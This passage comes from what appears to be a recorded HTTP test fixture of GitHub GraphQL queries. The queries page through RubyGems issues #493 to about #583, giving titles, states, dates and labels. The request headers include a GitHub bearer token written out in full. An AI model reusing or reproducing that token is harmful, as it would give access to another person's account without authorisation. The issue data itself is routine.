querrying","url":"https://github.com/rubygems/rubygems/issues/493","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QwMjoyMjozNy0wNTowMM4As0Uv","node":{"number":494,"createdAt":"2013-03-07T07:22:37Z","closedAt":"2013-03-07T21:50:42Z","updatedAt":"2016-05-08T06:39:26Z","state":"CLOSED","title":"`gem install` is fetching *tons* of gemspec.rz of a single gem from S3","url":"https://github.com/rubygems/rubygems/issues/494","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QwMjo1ODo1Ni0wNTowMM4As0f5","node":{"number":495,"createdAt":"2013-03-07T07:58:56Z","closedAt":"2013-03-26T23:30:28Z","updatedAt":"2013-04-05T20:54:28Z","state":"CLOSED","title":"host is empty when doing `gem push`","url":"https://github.com/rubygems/rubygems/issues/495","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QxMDo0MDoyMC0wNTowMM4As4QD","node":{"number":496,"createdAt":"2013-03-07T15:40:20Z","closedAt":"2013-03-07T15:45:26Z","updatedAt":"2013-03-07T15:45:26Z","state":"CLOSED","title":"gem update --system 2.0.2 is not working!","url":"https://github.com/rubygems/rubygems/issues/496","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QxMjo0Mjo1MC0wNTowMM4As5s7","node":{"number":497,"createdAt":"2013-03-07T17:42:50Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Define what the pessimistic operator (~>) does for pre release gems.","url":"https://github.com/rubygems/rubygems/issues/497","labels":{"nodes":[{"name":"category: other"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QxNTowMjozOC0wNTowMM4As7H6","node":{"number":498,"createdAt":"2013-03-07T20:02:38Z","closedAt":"2013-03-11T21:08:28Z","updatedAt":"2013-12-19T14:27:21Z","state":"CLOSED","title":"memcached gem won''t compile with 2.0.2","url":"https://github.com/rubygems/rubygems/issues/498","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wN1QxNTo0NjoyMi0wNTowMM4As7j3","node":{"number":499,"createdAt":"2013-03-07T20:46:22Z","closedAt":"2013-03-07T21:58:22Z","updatedAt":"2013-03-08T00:30:56Z","state":"CLOSED","title":"LoadError: cannot load such file -- qtwebkit","url":"https://github.com/rubygems/rubygems/issues/499","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wOFQwNjo1MTo1NS0wNTowMM4AtBPB","node":{"number":500,"createdAt":"2013-03-08T11:51:55Z","closedAt":"2013-03-08T20:01:10Z","updatedAt":"2013-03-08T20:03:33Z","state":"CLOSED","title":"\"Could not find tilt-1.3.5 in any of the sources\"","url":"https://github.com/rubygems/rubygems/issues/500","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wOVQwMjoyMDo0Ny0wNTowMM4AtJll","node":{"number":501,"createdAt":"2013-03-09T07:20:47Z","closedAt":"2013-03-12T22:25:54Z","updatedAt":"2013-03-12T22:25:54Z","state":"CLOSED","title":"gem update --system issue on debian ","url":"https://github.com/rubygems/rubygems/issues/501","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMFQxOTozNDoxMi0wNDowMM4AtPak","node":{"number":502,"createdAt":"2013-03-10T23:34:12Z","closedAt":"2013-03-26T23:12:52Z","updatedAt":"2013-05-26T18:28:28Z","state":"CLOSED","title":"Error executing action `install` on resource ''chef_gem[mysql]''","url":"https://github.com/rubygems/rubygems/issues/502","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMFQyMDowODozNS0wNDowMM4AtPg5","node":{"number":503,"createdAt":"2013-03-11T00:08:35Z","closedAt":"2013-03-26T23:06:45Z","updatedAt":"2014-11-11T19:40:52Z","state":"CLOSED","title":"`gem update --system` throws error about gem names on OS X 10.8.2","url":"https://github.com/rubygems/rubygems/issues/503","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMFQyMTowMTo0Ny0wNDowMM4AtPrL","node":{"number":504,"createdAt":"2013-03-11T01:01:47Z","closedAt":"2013-03-11T17:40:11Z","updatedAt":"2013-03-11T17:40:11Z","state":"CLOSED","title":"Missing file after gem update --system","url":"https://github.com/rubygems/rubygems/issues/504","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMFQyMTozOTo1OS0wNDowMM4AtPyW","node":{"number":505,"createdAt":"2013-03-11T01:39:59Z","closedAt":"2013-06-15T00:22:19Z","updatedAt":"2013-06-15T00:22:19Z","state":"CLOSED","title":"add_dependency taking non Strings","url":"https://github.com/rubygems/rubygems/issues/505","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMFQyMjo0Mzo1OS0wNDowMM4AtQBd","node":{"number":506,"createdAt":"2013-03-11T02:43:59Z","closedAt":"2013-03-11T18:03:42Z","updatedAt":"2013-03-11T18:03:42Z","state":"CLOSED","title":"2.0.2''s automatic upgrading from HTTP to HTTPS breaks bundle install","url":"https://github.com/rubygems/rubygems/issues/506","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMVQwMDoyNDoxNi0wNDowMM4AtQX6","node":{"number":507,"createdAt":"2013-03-11T04:24:16Z","closedAt":"2013-03-11T20:45:59Z","updatedAt":"2015-01-08T07:06:38Z","state":"CLOSED","title":"gem update --system on JRuby wipes out entire lib/ruby/shared dir","url":"https://github.com/rubygems/rubygems/issues/507","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMVQwMTozMDozMS0wNDowMM4AtQlx","node":{"number":508,"createdAt":"2013-03-11T05:30:31Z","closedAt":"2016-01-29T22:33:50Z","updatedAt":"2016-01-29T22:33:55Z","state":"CLOSED","title":"Additional Slashes in paths breaks gem installation","url":"https://github.com/rubygems/rubygems/issues/508","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMVQxNjowMjo0MS0wNDowMM4AtYFq","node":{"number":509,"createdAt":"2013-03-11T20:02:41Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"`generate_index` is very slow with large .gem files","url":"https://github.com/rubygems/rubygems/issues/509","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:24 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMVQxNjowMjo0MS0wNDowMM4AtYFq\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:25 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4981' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.449452' X-Github-Request-Id: - A386:4D95:F48BDA:1C85173:5A50E488 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMVQxODo0NzoyMi0wNDowMM4AtZuY","node":{"number":510,"createdAt":"2013-03-11T22:47:22Z","closedAt":"2013-04-05T20:59:35Z","updatedAt":"2013-07-19T20:50:40Z","state":"CLOSED","title":"file permissions of 0644 but 0600 is required.","url":"https://github.com/rubygems/rubygems/issues/510","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xMlQxNToyMToyMC0wNDowMM4AtjMz","node":{"number":512,"createdAt":"2013-03-12T19:21:20Z","closedAt":"2013-03-12T22:46:25Z","updatedAt":"2013-03-12T22:46:25Z","state":"CLOSED","title":"Gem::SpecFetcher ''fetch'' went away in 2.0.0 - replacement?","url":"https://github.com/rubygems/rubygems/issues/512","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xNFQxNjo1NzoyNC0wNDowMM4At7GG","node":{"number":513,"createdAt":"2013-03-14T20:57:24Z","closedAt":"2013-03-15T14:38:21Z","updatedAt":"2014-09-20T05:15:21Z","state":"CLOSED","title":"`gem install` is very slow in Vagrant with VirtualBox provider","url":"https://github.com/rubygems/rubygems/issues/513","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xNVQwMzowNTo1Ny0wNDowMM4At+b8","node":{"number":515,"createdAt":"2013-03-15T07:05:57Z","closedAt":"2013-03-16T14:10:19Z","updatedAt":"2014-12-31T21:16:55Z","state":"CLOSED","title":"gem 2.0.3 Unable to download data from https://rubygems.org/ - ... bad ecpoint","url":"https://github.com/rubygems/rubygems/issues/515","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xN1QxNjo1OTowMS0wNDowMM4AuNo3","node":{"number":516,"createdAt":"2013-03-17T20:59:01Z","closedAt":"2013-03-27T00:58:57Z","updatedAt":"2013-04-05T20:54:28Z","state":"CLOSED","title":"error installing Rubygems during initial RVM installation","url":"https://github.com/rubygems/rubygems/issues/516","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xOFQxNDo0NTo0OS0wNDowMM4AuVya","node":{"number":518,"createdAt":"2013-03-18T18:45:49Z","closedAt":"2013-07-10T21:57:10Z","updatedAt":"2013-07-10T21:57:10Z","state":"CLOSED","title":"Gem outdated not posting right version ??? ","url":"https://github.com/rubygems/rubygems/issues/518","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0xOVQwMToxMjo1Mi0wNDowMM4AuaaS","node":{"number":519,"createdAt":"2013-03-19T05:12:52Z","closedAt":"2013-06-15T00:36:12Z","updatedAt":"2014-11-29T19:06:52Z","state":"CLOSED","title":"error installing Rails (backtrace included)","url":"https://github.com/rubygems/rubygems/issues/519","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yMFQxMTo1MzoyOS0wNDowMM4Auqwa","node":{"number":522,"createdAt":"2013-03-20T15:53:29Z","closedAt":"2013-06-26T22:53:45Z","updatedAt":"2014-12-07T16:11:48Z","state":"CLOSED","title":"gem install error (SSL_connect SYSCALL returned= 5 errno=0 state=SSLv2/v3...)","url":"https://github.com/rubygems/rubygems/issues/522","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yMVQwNzoyNTozMy0wNDowMM4Auzj/","node":{"number":523,"createdAt":"2013-03-21T11:25:33Z","closedAt":"2015-08-26T02:37:09Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Gem install w/ native ext fails when install path contains spaces","url":"https://github.com/rubygems/rubygems/issues/523","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yNVQxNToyODozNi0wNDowMM4AvXmn","node":{"number":525,"createdAt":"2013-03-25T19:28:36Z","closedAt":"2013-03-25T22:02:28Z","updatedAt":"2013-03-25T22:02:28Z","state":"CLOSED","title":"cancelled","url":"https://github.com/rubygems/rubygems/issues/525","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yOFQwNjoyOTo0Mi0wNDowMM4Av5v1","node":{"number":527,"createdAt":"2013-03-28T10:29:42Z","closedAt":"2013-06-26T22:58:41Z","updatedAt":"2013-06-26T22:58:41Z","state":"CLOSED","title":"`Gem.bin_path` ignores $RUBYGEMS_GEMDEPS","url":"https://github.com/rubygems/rubygems/issues/527","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yOFQxNjo0NDo1NS0wNDowMM4AwAHZ","node":{"number":528,"createdAt":"2013-03-28T20:44:55Z","closedAt":"2013-06-11T16:04:24Z","updatedAt":"2013-06-11T16:04:24Z","state":"CLOSED","title":"Gem can''t be found after updating the GEM_PATH.","url":"https://github.com/rubygems/rubygems/issues/528","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0yOVQxNzozNzoyNy0wNDowMM4AwJBi","node":{"number":529,"createdAt":"2013-03-29T21:37:27Z","closedAt":"2013-06-22T02:35:10Z","updatedAt":"2013-06-22T02:35:10Z","state":"CLOSED","title":"gem command can report incorrect path to gemrc when it can''t be read","url":"https://github.com/rubygems/rubygems/issues/529","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wM1QwMjoyNTozOC0wNDowMM4AwmJS","node":{"number":530,"createdAt":"2013-04-03T06:25:38Z","closedAt":"2013-04-03T07:11:35Z","updatedAt":"2014-10-30T20:33:12Z","state":"CLOSED","title":"Could not run ''bundle install'' due to SSL problems","url":"https://github.com/rubygems/rubygems/issues/530","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wNFQxMzoyNDoxMy0wNDowMM4Aw3lm","node":{"number":531,"createdAt":"2013-04-04T17:24:13Z","closedAt":"2013-06-25T23:26:30Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"gem install CLI behavior not intuitive with --pre in some cases, and should possibly allow multiple -v args","url":"https://github.com/rubygems/rubygems/issues/531","labels":{"nodes":[{"name":"category: command"},{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wNlQwNzowNzoxNy0wNDowMM4AxHUh","node":{"number":532,"createdAt":"2013-04-06T11:07:17Z","closedAt":"2013-06-26T00:35:11Z","updatedAt":"2014-05-05T10:15:20Z","state":"CLOSED","title":"Support for ARM in Gem::Platform (feature request)","url":"https://github.com/rubygems/rubygems/issues/532","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wOFQxMToyMzo0OC0wNDowMM4AxUYP","node":{"number":533,"createdAt":"2013-04-08T15:23:48Z","closedAt":"2013-04-23T18:05:38Z","updatedAt":"2013-04-23T18:05:38Z","state":"CLOSED","title":"undefined method `map for nil:NilClass (NoMethodError)","url":"https://github.com/rubygems/rubygems/issues/533","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wOFQxMjowMzowOS0wNDowMM4AxU4Y","node":{"number":534,"createdAt":"2013-04-08T16:03:09Z","closedAt":"2013-04-08T16:05:19Z","updatedAt":"2013-04-08T16:10:06Z","state":"CLOSED","title":"503 from production.cf.rubygems.org","url":"https://github.com/rubygems/rubygems/issues/534","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0wOVQxNTo1NjowNC0wNDowMM4AxjKo","node":{"number":535,"createdAt":"2013-04-09T19:56:04Z","closedAt":"2013-04-10T00:25:01Z","updatedAt":"2013-04-10T00:25:01Z","state":"CLOSED","title":"Suggest reopening #446","url":"https://github.com/rubygems/rubygems/issues/535","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0xMFQxODoxMjo1OC0wNDowMM4Axwfm","node":{"number":536,"createdAt":"2013-04-10T22:12:58Z","closedAt":"2013-04-10T22:20:58Z","updatedAt":"2013-12-31T16:31:17Z","state":"CLOSED","title":"uninitialized constant Gem::SourceIndex","url":"https://github.com/rubygems/rubygems/issues/536","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0xM1QwOTozNjozMC0wNDowMM4AyMC5","node":{"number":537,"createdAt":"2013-04-13T13:36:30Z","closedAt":"2013-04-14T04:30:34Z","updatedAt":"2013-04-14T04:30:34Z","state":"CLOSED","title":"Again, gem 2.0.3 Unable to download data from https://rubygems.org/","url":"https://github.com/rubygems/rubygems/issues/537","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0xNlQxNzoyNDo0NS0wNDowMM4AynlL","node":{"number":540,"createdAt":"2013-04-16T21:24:45Z","closedAt":"2016-04-15T16:34:08Z","updatedAt":"2016-04-15T16:34:08Z","state":"CLOSED","title":"Avoid partial matches when updating Gems","url":"https://github.com/rubygems/rubygems/issues/540","labels":{"nodes":[{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yMlQxMToxMTo1My0wNDowMM4AzctB","node":{"number":541,"createdAt":"2013-04-22T15:11:53Z","closedAt":"2013-04-22T18:26:40Z","updatedAt":"2013-04-22T18:26:40Z","state":"CLOSED","title":"URGENT (security): Gem ownership change without ownership permission?","url":"https://github.com/rubygems/rubygems/issues/541","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yM1QwNDo0NTo1OC0wNDowMM4Azl6i","node":{"number":542,"createdAt":"2013-04-23T08:45:58Z","closedAt":"2013-06-13T21:55:47Z","updatedAt":"2016-03-26T06:21:31Z","state":"CLOSED","title":"How completely uninstall Rails gem ?","url":"https://github.com/rubygems/rubygems/issues/542","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yM1QwNDo0NzoxMC0wNDowMM4Azl7G","node":{"number":543,"createdAt":"2013-04-23T08:47:10Z","closedAt":"2013-04-23T18:03:58Z","updatedAt":"2013-05-03T13:10:22Z","state":"CLOSED","title":"rubygem 2.0 can''t communicate with remote sources http://rubygems.org/","url":"https://github.com/rubygems/rubygems/issues/543","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yM1QxMTowMzo0MC0wNDowMM4AzpZL","node":{"number":544,"createdAt":"2013-04-23T15:03:40Z","closedAt":"2014-02-05T00:37:11Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"`gem update` of multiple gems should identify those already up to date","url":"https://github.com/rubygems/rubygems/issues/544","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yM1QyMzoxNjo0MS0wNDowMM4Azwzv","node":{"number":546,"createdAt":"2013-04-24T03:16:41Z","closedAt":"2013-04-24T15:47:15Z","updatedAt":"2014-01-27T11:32:16Z","state":"CLOSED","title":"rubygems/requirement.rb:24: stack level too deep (SystemStackError) in Ruby 1.9.3","url":"https://github.com/rubygems/rubygems/issues/546","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yNlQxMTowODoxNS0wNDowMM4A0PE0","node":{"number":547,"createdAt":"2013-04-26T15:08:15Z","closedAt":"2016-01-29T23:22:19Z","updatedAt":"2016-01-29T23:22:19Z","state":"CLOSED","title":"Support client-certificates when connecting to gem server","url":"https://github.com/rubygems/rubygems/issues/547","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNC0yOVQxMDo1ODowOS0wNDowMM4A0gYe","node":{"number":548,"createdAt":"2013-04-29T14:58:09Z","closedAt":"2013-04-30T16:04:51Z","updatedAt":"2013-04-30T16:23:01Z","state":"CLOSED","title":"add a way to ignore --user-install","url":"https://github.com/rubygems/rubygems/issues/548","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0wMlQxNzozOTozNi0wNDowMM4A1Ej2","node":{"number":551,"createdAt":"2013-05-02T21:39:36Z","closedAt":"2013-06-26T22:54:15Z","updatedAt":"2013-06-26T22:54:15Z","state":"CLOSED","title":"Randomly getting OpenSSL::SSL::SSLError: SSL_connect while fetching bundles","url":"https://github.com/rubygems/rubygems/issues/551","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0wNVQwMDoxMTozNC0wNDowMM4A1Tjf","node":{"number":552,"createdAt":"2013-05-05T04:11:34Z","closedAt":"2013-06-12T23:39:36Z","updatedAt":"2013-06-12T23:39:36Z","state":"CLOSED","title":"[RaspberryPI] gem 2.0.3 Unable to download data from https://rubygems.org/","url":"https://github.com/rubygems/rubygems/issues/552","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0wN1QwOTozNjowNS0wNDowMM4A1l70","node":{"number":554,"createdAt":"2013-05-07T13:36:05Z","closedAt":"2013-06-26T00:47:50Z","updatedAt":"2013-06-26T00:47:50Z","state":"CLOSED","title":"Gem push displays no fqdn for the signup.","url":"https://github.com/rubygems/rubygems/issues/554","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0xMFQxMjozNDozOC0wNDowMM4A2Kgk","node":{"number":555,"createdAt":"2013-05-10T16:34:38Z","closedAt":"2013-06-12T23:37:44Z","updatedAt":"2013-06-12T23:37:44Z","state":"CLOSED","title":"rubygems.rb:8:in `require'': no such file to load -- rbconfig (LoadError)","url":"https://github.com/rubygems/rubygems/issues/555","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0xNlQxNjoxOTozMy0wNDowMM4A3BqF","node":{"number":557,"createdAt":"2013-05-16T20:19:33Z","closedAt":"2013-06-12T23:34:03Z","updatedAt":"2015-06-11T02:29:00Z","state":"CLOSED","title":"WARNING: Error fetching data: Errno::ETIMEDOUT: Connection timed out - connect(2) (http://rubygems.org/latest_specs.4.8.gz)","url":"https://github.com/rubygems/rubygems/issues/557","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0xOVQxOTozNzozNi0wNDowMM4A3U0j","node":{"number":559,"createdAt":"2013-05-19T23:37:36Z","closedAt":"2013-06-26T23:01:18Z","updatedAt":"2013-06-26T23:01:18Z","state":"CLOSED","title":"ERROR when using \"gem install\" command line","url":"https://github.com/rubygems/rubygems/issues/559","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0yNVQxNToyNjoyNy0wNDowMM4A4T/h","node":{"number":560,"createdAt":"2013-05-25T19:26:27Z","closedAt":"2013-06-13T04:16:03Z","updatedAt":"2013-12-02T17:10:18Z","state":"CLOSED","title":"gem install into /var/lib erroneously uses user''s umask","url":"https://github.com/rubygems/rubygems/issues/560","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNS0yNVQyMTozOTo1Ni0wNDowMM4A4UyO","node":{"number":561,"createdAt":"2013-05-26T01:39:56Z","closedAt":"2013-05-28T21:07:34Z","updatedAt":"2013-05-28T21:10:03Z","state":"CLOSED","title":"''gem update --system'' killed me.","url":"https://github.com/rubygems/rubygems/issues/561","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0wM1QwNTowMDo0NC0wNDowMM4A5cIB","node":{"number":564,"createdAt":"2013-06-03T09:00:44Z","closedAt":"2013-06-26T07:02:57Z","updatedAt":"2013-06-26T07:03:04Z","state":"CLOSED","title":"gem installs windows binary version of dependency gem on linux","url":"https://github.com/rubygems/rubygems/issues/564","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0wM1QwNzo0NDo0Ny0wNDowMM4A5ddz","node":{"number":565,"createdAt":"2013-06-03T11:44:47Z","closedAt":"2013-06-26T07:03:40Z","updatedAt":"2013-06-26T07:03:40Z","state":"CLOSED","title":"error when using gem update command on EPHL 6","url":"https://github.com/rubygems/rubygems/issues/565","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0wNVQxMjozOToxMS0wNDowMM4A56NC","node":{"number":567,"createdAt":"2013-06-05T16:39:11Z","closedAt":"2016-01-29T23:40:05Z","updatedAt":"2016-01-29T23:40:05Z","state":"CLOSED","title":"Add ability to sort `gem list` by date (from gemspec)","url":"https://github.com/rubygems/rubygems/issues/567","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0wNVQxOTowMzoyOS0wNDowMM4A5+ld","node":{"number":568,"createdAt":"2013-06-05T23:03:29Z","closedAt":"2013-06-05T23:24:44Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"add ability to install conf files into separate locations","url":"https://github.com/rubygems/rubygems/issues/568","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0wNlQwMzowODoyMS0wNDowMM4A6BCc","node":{"number":570,"createdAt":"2013-06-06T07:08:21Z","closedAt":"2013-06-26T07:00:57Z","updatedAt":"2013-06-26T13:25:59Z","state":"CLOSED","title":"Trying to publish without changing version creates undefined method satisfied_by? error","url":"https://github.com/rubygems/rubygems/issues/570","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0xM1QwMDoxNjoyNi0wNDowMM4A7FOx","node":{"number":572,"createdAt":"2013-06-13T04:16:26Z","closedAt":"2013-11-12T22:01:34Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"`gem list` silently ignores extra gem names","url":"https://github.com/rubygems/rubygems/issues/572","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0yM1QxOTo1MDoxMS0wNDowMM4A8q6b","node":{"number":574,"createdAt":"2013-06-23T23:50:11Z","closedAt":"2013-06-24T15:31:01Z","updatedAt":"2013-06-24T15:31:01Z","state":"CLOSED","title":"I don''t have permission to push my own gem.","url":"https://github.com/rubygems/rubygems/issues/574","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0yNVQxMjo0Mzo1OC0wNDowMM4A8/bf","node":{"number":576,"createdAt":"2013-06-25T16:43:58Z","closedAt":"2013-06-26T09:00:55Z","updatedAt":"2013-06-26T23:01:29Z","state":"CLOSED","title":"rubygems-2.0.3 gem install fails when a gem is found with the correct specs, but the wrong architecture","url":"https://github.com/rubygems/rubygems/issues/576","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0yN1QyMzoyMDoyNS0wNDowMM4A9g5Z","node":{"number":579,"createdAt":"2013-06-28T03:20:25Z","closedAt":"2013-06-28T18:03:07Z","updatedAt":"2016-01-01T21:25:09Z","state":"CLOSED","title":"gem pristine --env-shebang","url":"https://github.com/rubygems/rubygems/issues/579","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNi0yOVQwNDo0NjoxMi0wNDowMM4A9sZC","node":{"number":581,"createdAt":"2013-06-29T08:46:12Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Prompt the user to review extconf.rb when installing","url":"https://github.com/rubygems/rubygems/issues/581","labels":{"nodes":[{"name":"category: install"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0wMVQyMDozMjoxNy0wNDowMM4A99jX","node":{"number":583,"createdAt":"2013-07-02T00:32:17Z","closedAt":"2013-07-17T22:53:30Z","updatedAt":"2016-01-01T21:25:09Z","state":"CLOSED","title":"Add --all flag for `gem uninstall`.","url":"https://github.com/rubygems/rubygems/issues/583","labels":{"nodes":[{"name":"category: 